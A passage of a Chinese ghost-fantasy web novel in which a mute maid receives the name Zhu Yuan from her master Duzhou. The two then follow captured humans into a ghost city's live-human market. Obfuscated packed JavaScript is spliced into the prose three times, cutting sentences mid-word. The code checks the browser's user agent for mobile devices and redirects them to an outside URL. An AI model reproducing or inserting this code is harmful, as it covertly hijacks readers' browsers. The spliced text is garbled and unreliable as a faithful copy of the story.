“马货郎不是姓马的货郎,而是无相城一种行当的总称。恶鬼好吃人,每逢月半子时,便有马车陆陆续续从鬼界出发,去人界进货。” 进什么货?当然是人。 小鬼提前踩点哪家没有贴符供神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406312|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪家阴气最重,哪家“货”好。 看中了,便在那户人家窗户下打个标。等到子时,马货郎便来了。 马货郎驾着车,鬼影在月光底下行驶得飞快。到了标记点,便轻轻敲开窗户,伪装成“货物”梦中人的声音,悄声道:“行行好,我肚子饿啦!” “常言道,日有所思夜有所梦。入梦之人多是亲近之人,听到亲近之人的声音难免应答。若是应上一句,不管说什么,马货郎便立马放出小鬼从睡梦人的嘴巴钻进腹中。” “一直等到了鬼界,那些小鬼才会神不知鬼不觉地出来。这是因为活人阳气重,鬼界来的马车拉不走,可一旦沾了鬼气便要中招。外面马车应声而动,连人带房一并拉走。第二日再开门时,里面空空如也,人财两失。” 原来还有这样阴毒的手段...... 哑奴听到这里,情不自禁地问:“主君,你呢?也是这样被抓来的?” 哑奴不过随便一问,她觉得渡舟绝不会被如此拙劣的手段抓来。 谁知对方却并未否认。 哑奴惊讶万分,接着问:“马货郎来时,你在做什么梦?” 只有哑奴敢如此大胆问这种话,渡舟并不在意,只说:“梦醒便忘了。” 哑奴若有所思地点点头,心想她也常常做梦醒来就忘了,原来主君也和她一样。 渡舟伸了个懒腰,哑奴眼尖地发现他胳膊下面还压着一张宣纸没有丢掉,渡舟笑了笑,示意她可以看。 哑奴小心翼翼挪开那尊龙形玉石镇纸,双手捧起那副字,好奇地看向渡舟。 “给你的名字,你瞧瞧,有没有喜欢的?” 哑奴震惊地睁大眼睛,压不住的欢喜很快浮上那双黑色的眸子,难以置信地比划道:“给我的?” “嗯。” 哑奴以为自己生下来就叫“哑奴”。她有时候也会想,说不定在她忘记的那些过往里,她也跟寻常人一样有个名字。不需要多好听,就只是个名字。 哑奴捧着那张纸,就像捧着香喷喷的烤饼,眼睛亮晶晶的。渡舟在上面写了好几个名字,每个都很好听,她都很喜欢。 哑奴挑来选去,指尖挪到最后一个,眼巴巴地望着渡舟。 “喜欢这个?”渡舟坐起来一点儿,“祝鸢的意思是,祝君......振翅能凌霄,倦鸟得良栖。” 他见哑奴懵懵懂懂,笑着解释道:“也就是说,你想飞便飞,不想飞了便停下,总有人接着你。” 真好听。 哑奴用手摸着那两个字,有点不大好意思让渡舟把这么好听的名字送给她。她只是个不会说话的小丫头,真的可以叫祝鸢吗? “来,我教你写一遍。” 渡舟站起来走到她身后,手掌轻轻地包裹住她的,微微弯下腰,带着她一笔一划在“祝鸢”旁边写下“振翅能凌霄,倦鸟得良栖”这行小字。 哑奴恍然大悟,原来是这几个字。 不过奇怪的是,他们写出来的字莫名其妙得很像。 渡舟道:“从今天开始,你就叫祝鸢,好吗?” 哑奴眉眼俱笑,重重地点了一下头。随后她就跟着迷了似的,一遍遍地在纸上写自己的名字。 祝鸢。 我也有名字了,我叫祝鸢。 15. 奈何门 突然伴随一声巨响,好像这间房被什么东西狠狠撞了一下,眼看着地面剧烈摇晃起来,一端高高翘起。 “当心。”渡舟稳稳地在祝鸢后腰处扶了一把,旋即收回手,“到了。” 祝鸢正欲起身,渡舟在她肩上轻轻拍了拍,低声说道:“别急,看看再说。” 她小心推开窗,惊讶地发现短短一会儿功夫,外面竟然天光大亮。 果然,无相城是不能用简单的白天黑夜来定义的。 只见一幢角楼平地而起,直破云霄,诡谲非常。 上挂一道红字黑底匾额,题为:须尽欢。 须尽欢下,有“人”骂道—— “哪个不长眼的!没见老子已经尥蹶子了!” 这一声怪极,乍一听是人,却又夹杂着几声愤怒的马叫。 再看,更是怪,原来说话的竟真是一匹白马! 这马长着一副长脸,五官却又像人,再往下又是马腿马尾巴,实在是怪。 这位“马兄”便是马货郎了,人言马货郎长着副马脸,奇丑无比。现在看来哪里是人长了马脸,分明是一匹货真价实的马生出人头才对。 原来方才“马兄”到了角楼,便扬起后蹄停下车架,但这马车挂着的车厢实在太多了,后面的马儿不知前面已经到了,仍哼哼哧哧卖力地往前走,于是“马兄”的屁股便被狠狠撞了一下。 马兄骂了几句,转身安排小鬼们卸货。 这门也是奇,只能从外面打开才能出。车厢里关着的人被陆陆续续放出来,祝鸢跟渡舟走在最后。 渡舟换了副容貌,变化成一个面色发青,形容消瘦的男人。祝鸢则还是原来那副小鬼皮相,不过身上的鬼气却散了,看上去仅仅是个不起眼的少年。 除了马货郎和出来卸货的接引小鬼们,还有十多个凭空出现的妙龄少女,无不妆容精致貌美娇艳。 她们浅笑盈盈,都赤着一双玉足,白嫩的脚踝上拴着一只银制铃铛,裸着的水蛇腰上同样系着银铃铛,故而走起路来叮叮当当煞是好听。 祝鸢看得眼花缭乱,渡舟道:“这些都是马车上的铃铛所化,不过一团鬼气罢了,一吹就散。” 在场的除了祝鸢应当都没心思观赏美人,无不脸色发白,战战兢兢,欲哭又止。 美人们笑嘻嘻地给引着他们从角楼一处偏门进去,外面本是灯火通明,进了门却像掉进一团漆黑,过了许久眼睛才能勉强视物。 只见入眼是看不见尽头的暗道,石壁两侧每隔十余步便燃着一团绿油油的鬼火,除此之外再无光亮。 渡舟挨着她,低声道:“这条路只可进,不能出。” 祝鸢不免诧异,又听对方解释道:“我们进来的门叫奈何门。奈何门关,神仙奈何。君为鱼肉,我为刀俎。意思是进了奈何门,便别想出去。” 奈何门,主君懂得真多呢。 “后面的跟上,叽叽咕咕说什么呢!” 前面传来马货郎的马嗓,他一甩马鞭以示警告,又派出两个小鬼过来,渡舟便不再说话了。 这暗道错综复杂,岔路极多,他们走了足有一炷香时辰才停下。此处已经明亮许多,上方似有阵阵杂音传来,听不真切。 面前一道石门,石门上凹凸不平刻着一张男人的脸,马货郎上前念了一串听不懂的咒语,那石脸突然动了,睁开圆溜溜的大眼睛,眼珠子咕噜咕噜滚了一圈,这才打开大门。 渡舟不知想到了什么,低声一笑,冲祝鸢做了个口型:“好玩儿。” “啊!” 门刚打开,站在最前面的小姑娘大叫道:“我……我不要进去!” 她连连后退,人群也跟着骚动起来,祝鸢上前几步,却突然被一双手轻捂住双眼。 “别看。”渡舟轻声道。 捂住我眼睛做什么?祝鸢摸索着握住渡舟手臂,轻晃两下,意思是让他放开。 谁知渡舟不仅没放开,反而声音带了几分不寻常的恼怒,也不知说与她听还是自言自语:“腌臜东西。” 耳畔乱哄哄一片,尖叫声此起彼伏,祝鸢又是好奇又是担心,强行扒开眼前的手。 映入眼帘的是一间极大的石室,高约五丈,石壁上密密麻麻挂满了铁笼。眼前衣衫微动,渡舟迅速闪身到她面前,将剩下的情形挡了个严严实实。 虽然方才只有一瞬,祝鸢还是看了七七八八,那高挂的铁笼里每个都关着赤身裸体的活人! “都麻利点!男的关阳室,女的关阴室!” “扒了扒了!都扒干净些!” “救命!啊啊啊啊!别碰我!” …… 鬼魅妖邪祝鸢见过一些,残忍嗜血者不少。但像眼前这样的,扒光衣服待价而沽,视人作猪狗,祝鸢还是头一回见,不由怒上心头。 “我操了什么玩意儿!” 众鬼抬眼望去,只见一接引小鬼举着起火的右手边跑边鬼叫。 “哟,鬼大什么时候学的杂耍?” 众鬼不以为然,嘻嘻哈哈看热闹,马兄方才被撞了腚本就心烦,当下抽了一鞭子过去,打得鬼大吱哇乱叫。 “耍什么宝!”马兄怒道。 鬼大一边扑火一边往人群一指,哀嚎道:“那女的!她身上有灵光会放火!” 被他指着的正是那位十五六岁的千金小姐。 原来鬼大方才本是要去抓她衣服,刚摸了片衣角便腾地燃起一阵火光。 小姑娘怀里揣着祝鸢给的符箓,本来心里正欢喜自己有救,见马货郎拿着鞭子气势汹汹地走过来,吓得再也忍不住,哇一声哭出来。 “放屁!她长得还没老子腰高,怎么可能有灵光!” 马兄话说着就朝那姑娘举起鞭子,这一鞭下去不死也悬了。 “救命!” 眼见长鞭将落,众人屏气凝神—— 啪! 女子尖利的叫声令人目不忍视,但预想中的血溅当场却并没有出现。 只见鞭子的一端是马货郎握着不错,另一端却攥在渡舟手里。 渡舟气定神闲,将那挥下的铁鞭握在手中,一边把玩一边冲祝鸢眨眨眼睛,意思让她不要妄动。 马兄见有人截了自己的鞭,还是个手无缚鸡之力的凡人,怒骂道:“哪来的小鬼头!给老子滚一边去!” 一语未毕,马兄蛮横地拽着铁鞭往后一拉,众人心想这下这人怕是惨了,不摔死也要断根骨头,谁承想对方一动不动。 两厢僵持下,渡舟突然冷不丁地松了手,很嫌弃地拍拍手上灰尘,啧了一声:“没意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406313|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思。” 祝鸢扑哧一笑,马货郎险些摔了跟头,幸而左右小鬼相扶,登时哇哇大叫道:“老子今天非要亲手剁了你!” “老马!” 这一声来得突兀,只见门外匆匆而来一黑影,满脸刀疤一身横肉,说话如打雷—— “杀人滚远点!这什么地方也敢大呼小叫!” 方才还怒气冲冲的马货郎见了来人立马堆起满面假笑,很狗腿地迎上去,点头哈腰道:“哟!刀掌柜亲自出来啦,这是小人今天送来的货,您清点清点?” 刀疤脸哼哼道:“怎么回事?” 马货郎将手中铁鞭往地上一甩,骂道:“晦气!不知道哪来的野小子,忒不听话!” 刀疤将渡舟上下打量一番,挑起半边眉毛:“妈的!一个病秧子有什么好杀的!里头催得凶,先不往笼子里关了!直接带进去!” 那些小鬼们听了刀疤脸的命令,将他们全都关在石壁之后一处极为逼仄矮小的地方。 室内昏暗无光,仅有一盏盛在骷髅头里的幽绿色鬼火散发着微弱的光芒,让人不禁心生寒意。 等其余鬼差都离开,祝鸢便问:“主君,咱们怎么把这些人都救出去?” 渡舟在她手上写字:“什么时候说要救人了?” 祝鸢眨眨眼睛,比划道:“我不要吃烤饼了,主君,你救救他们吧。” 渡舟笑道:“满脑子救人,万一我们真出不去,怕不怕?” 祝鸢又眨眨眼睛,也学着渡舟在他手心写字:“有主君在,我不怕。” 渡舟哈哈大笑。 祝鸢又问:“主君,你很喜欢无相城吗?” 渡舟道:“为什么这么问?” 祝鸢认真道:“你从前不笑的,很凶。” 渡舟哑然,似乎在努力回忆自己在牵机营是什么样子。 坐在祝鸢旁边的,是一个年纪稍长的陌生男子,见他们二人说说笑笑,凑上来问道:“敢问两位公子可是修士?” 祝鸢摇摇头,指了指天,又在地上写了个“公”字。那人恍然大悟道:“原来是公门中人,在下唐回,幸会幸会。” 那唐回不光心态挺好,还是个自来熟,将他怎么从睡得正香被抓来这鬼界从头到尾讲了一遍。 如此你一言我一句,反倒不那么害怕了。 唐回身边那位男子却始终一言不发。他见祝鸢目光好奇,拍了拍身侧人肩膀,介绍道:“这是我表哥,叫唐稽。” 唐稽面容忧郁,略略颔首致意。 唐回解释道:“他呀,心情不好,别见怪。” 唐稽从怀里掏出一张叠得很小心的纸来,展开,上面隐约是一副女子的画像,画作极为传神,画师观察细致入微可见一斑,他问道:“两位大人,可曾见过这位姑娘?” 渡舟目不斜视,祝鸢摇头,唐回拉住唐稽的胳膊,劝道:“表哥,你真是昏头了,灵儿表妹一个闺中待嫁的姑娘,他们怎么可能见过?” 他见唐稽眉头愈发紧锁,又随口安慰道:“你别担心了,过几天这丫头肯定自己就回来了。” 唐稽收了那幅画像,闭目养神去了。唐回又转向祝鸢,他欲言又止……还是没止住:“小兄弟,你既然是衙门的人,那你见过牵机营那位……主子没有?” 16. 莲花烙 祝鸢转过脑袋看了眼渡舟,随后点点头。 唐回压低嗓门道:“传闻都说那位主子把持朝政,连奏折都是送到牵机营批复,可是真的?” 有人赶紧接话:“还说他当年动动手指,就把那些不听话的朝廷命官全都砍了,也是真的?” “咱们圣上也得叫他一声皇叔,这总不假吧?” “还听说他夜御十女,个个惨死……” 祝鸢越听眼睛睁得越大,到后面大气不敢出,眼见渡舟听到最后一句黑下脸,心道:“要死了,主君生气了!” 这些不怕死的哪里知道本尊就在眼前,本来是想打探点儿小道消息,一说起来就没完没了了,话题渐渐往不可描述的方向发展。 救命! 祝鸢赶紧挡在渡舟面前,双手挥舞得飞快:“打住!” 求求别说了,我还不想死! 唐回一脸兴奋,语气殷切道:“小兄弟,你可是也有什么秘辛要说?” 没有,绝对没有! 祝鸢极力为渡舟正名,一脸紧张地比划道:“主君不是你们说的那样的,他是个好人,真的。不过我也不知道他有没有批奏折,主君每天都很忙的……对了,他还带我吃烤饼,虽然他不给我月钱……” 没人看得懂祝鸢在比划什么,身后却突然传来噗嗤一声轻笑,祝鸢回过头,渡舟方才还脸黑得像锅底,眼下却笑得正开怀。 渡舟一边笑,一边将她挥动的双手轻轻按住,往自己身边拉了拉,温声道:“怪我。” 啊? 渡舟懒洋洋地张开双臂靠在墙上,盯着她笑:“我身上的东西都很值钱,你想要什么?” 祝鸢哪里敢上手从渡舟身上扒东西! “这个应该最值钱。”渡舟将那只笛子从腰间抽出来,递给祝鸢,“拿去玩儿。” 完了。 祝鸢面露惊恐,下意识伸手摸了摸渡舟的额头,主君脑子坏掉了,要么就是被夺舍了。 “莲、莲花烙!” 唐回战战兢兢地指着渡舟左手腕,衣袖滑落,那上面无比清晰地映出一朵并蒂莲。 “你是牵机营的人!”唐回震惊道,“传闻牵机营之人身上都有一朵莲花印记,寻常时看不出,只有极暗处才能显现轮廓……” 此言一出,周围瞬间一片死寂。 祝鸢好奇张望,看见渡舟露出的左手腕隐约有朵黑色并蒂莲。祝鸢想起来上官大人似乎也有这么个莲花烙印,只是寻常莲花,并非并蒂莲。 渡舟注意到祝鸢的目光,问道:“喜欢?” 祝鸢比划道:“主君,牵机营的人都有吗?为什么我没有?” 渡舟今夜笑得过于频繁了:“因为你不需要。” 众人议论之声戛然而止,不约而同默默退让三步,牵机营这三个字俨然成了比鬼界还要可怖的存在。 大概没有比背后说坏话被当场抓包更令人尴尬的事情了,还是唐回有胆识,站出来道:“大人恕罪,方才我们只是猎奇,随口说说,还望大人出去之后莫要……莫要说出去才好。” “别的都是实话,说便说了。只有一句……”渡舟的声音冷下来,“据我所知,我……家大人只有一位夫人,二人琴瑟和鸣,恩爱有加。再有刚才那样的话传出去,各位小心自己的舌头。” 祝鸢努力回想。 府里什么时候有位夫人的,我怎么从来没见过…… “知道知道!”唐回赶紧顺阶下,“小民出去就查,等查到哪个混账传出来的谣言,一定揪到官府去!” 这话听过就算,渡舟也不再追究,冷哼道:“想好怎么出去了?” 渡舟这话说得十分带刺,对方一愣,转而笑道:“这还用想吗?有牵机营二位大人在此,定不会让我等落入鬼怪之手!” 这话比方才渡舟说出牵机营三个字还要引起骚动,那位柔弱的千金小姐此时也连声附和道:“唐大哥说得对,小公子会画符,还留了信给我,一定能救我们出去的吧!” “是啊是啊,有牵机营在此,不怕鬼怪造次!” 方才还避之如蛇蝎的牵机营,此情此景下却摇身一变成为了这群人心中的救世主。 祝鸢的确是打算救人的,但人还没救先承谢意...... 人声鼎沸中,渡舟突然轻笑一声,冷声道:“诸位不是对牵机营避之不及吗,怎么?如此笃定能救你们?” “这......” 渡舟道:“如今我二人自身难保,不救是情理之中,救是心善,救而不得亦是心善。万一救不得,诸位反而心生恨意,岂不是我们亏了?” 渡舟言语傲慢,但仔细一想好像确实是这么回事儿。 众人面面相觑,唐回正色道:“大人放心,若有幸出去,我等必报今日之恩,若有人不幸殒命,也是他时运不济,怎敢怪罪恩人。” “唐大哥说得对!” 渡舟没有说话,房间内重新陷入不尴不尬的沉寂,他看向祝鸢,问道:“觉得我很冷血?” 祝鸢摇摇头,思索片刻,问道:“我从前以为,每个人都该救,不是这样吗?” 所以祝鸢才会明知打不过魇鬼也要冲,今日又义无反顾跳上马车救人。 她年纪小,不会说话,心思却爱憎分明无比单纯。 渡舟沉默良久,开口道:“真傻。” 祝鸢不乐意了,瘪嘴比划:“主君,你从前夸我很聪明的。” 渡舟这下子不单单是微笑了,简直是放声大笑。他看向祝鸢的神情依旧是那种重若千钧的专注,不过又好像有什么东西不一样了。 不一样在于,从前他只是偶尔露出这种表情,好像透过她在看另一个人。但自打祝鸢刚才在马车里撞见渡舟,这人便再也没有把目光从她身上移开过。 渡舟笑够了,用很温柔的声音说道:“我的错,你很聪明。” 半晌,他的声音低了些:“我从前认识一个人,和你一样,觉得世间每个人都该救。不管那些人是在刀山还是火海,她都拼了命地跑过去,跟人家说,别怕,我会救你。她跑啊跑,她救的人越来越多,可事与愿违,死去的人也越来越多……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406314|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 渡舟说到停了下来,似乎不愿再说下去了,祝鸢问道:“后来呢?” “后来啊......”渡舟道,“她没力气再跑下去了。” 祝鸢直觉这又是个不好听的故事。 从找凤尾花钿一路追到这里,祝鸢又困又累,只觉眼皮越来越沉,没过多久竟靠在墙壁上睡着了。 但梦中似乎墙壁过于软了些,等她再醒来时,是被一个尖利的鬼声吵醒的。 “要死啦!现在抓的都是什么货色!” 这声音十分耳熟,祝鸢睁眼一看,竟是他们进城时遇到的那个卫兵脑袋。 鬼头大哥正跟自己四目相对,而他口中的“什么货色”,好像凑巧就是我? 不过卫兵刚说完这句,便被渡舟一脚踹飞,鬼头哎呦一声痛呼,渡舟冷哼道:“你又是什么狗东西。” 原来那卫兵从城墙溜下来后,先是去人皮坊修了修自己新贴的头皮,紧跟着爬上一辆骷髅车,往城中的血器场去了。 上官说得不错,血器场其实是卖场。只不过卖的东西特殊了些,专卖活人罢了。 鬼怕光,正午阳气最重鬼气最弱,道行越浅的鬼越不能见光。 但那些正午要开门做活人生意的,这时便需要活人做容器,附在被做成傀儡半死不活的人身上,既能避光,又能掩人耳目,用完还能饱餐一顿,一举三得。 厉害的鬼是瞧不上血器这种东西的,小鬼又太弱没法附体,所以来血器场的往往是那些中下等鬼。 慢慢地,鬼发现活人好啊。 剥了皮能卖钱,剁了能吃肉,有皮相好的欢好一夜也不吃亏嘛,后来这血器场的鬼形形色色来得便更多了。 每逢十五开场,压轴必是好货。 而血器场,自然要在无相城最盛大的酒楼开张,这也正是这些人被抓来须尽欢的原因了。 可惜卫兵脑袋来得迟了些,里里外外已是水泄不通。他挤了许久还是在最外圈,索性张大嘴巴逮着旁边的狗腿狠咬一口。 “哎呀喂!哪个杂碎敢咬本大爷!” 那狗腿吃痛往旁边跳开,露出一张狗面獠牙脸。卫兵乘势往里一窜,速度快得惊人。刚窜没多远,又呈一道弧线从鬼堆里飞出来。 “去你的!别他妈挤!” “......” 卫兵脑袋见挤不进去,便心生一计,偷偷从暗门溜进来,想一睹为快。卫兵见祝鸢容貌实在算不得上乘,终于忍不住鬼叫一声。 此刻被渡舟那一脚踢得不轻,半颗头陷进墙壁里,新修的人皮发冠也歪到一边露出半边血淋淋的秃头,实在滑稽可笑。 寻常人乍见此物难免害怕,那些姑娘们想尖叫又惧怕渡舟,硬生生憋了回去,抱成一团瑟瑟发抖。 唐回强作镇定道:“兄……兄台,这是什么东西?” 渡舟很嫌弃地看了看自己踢过那颗头颅的脚,回答道:“无相城的东西,自然是鬼了。” 唐回忍不住道:“这鬼,也太丑了些。” 卫兵道:“好大的狗胆!敢骂本王?”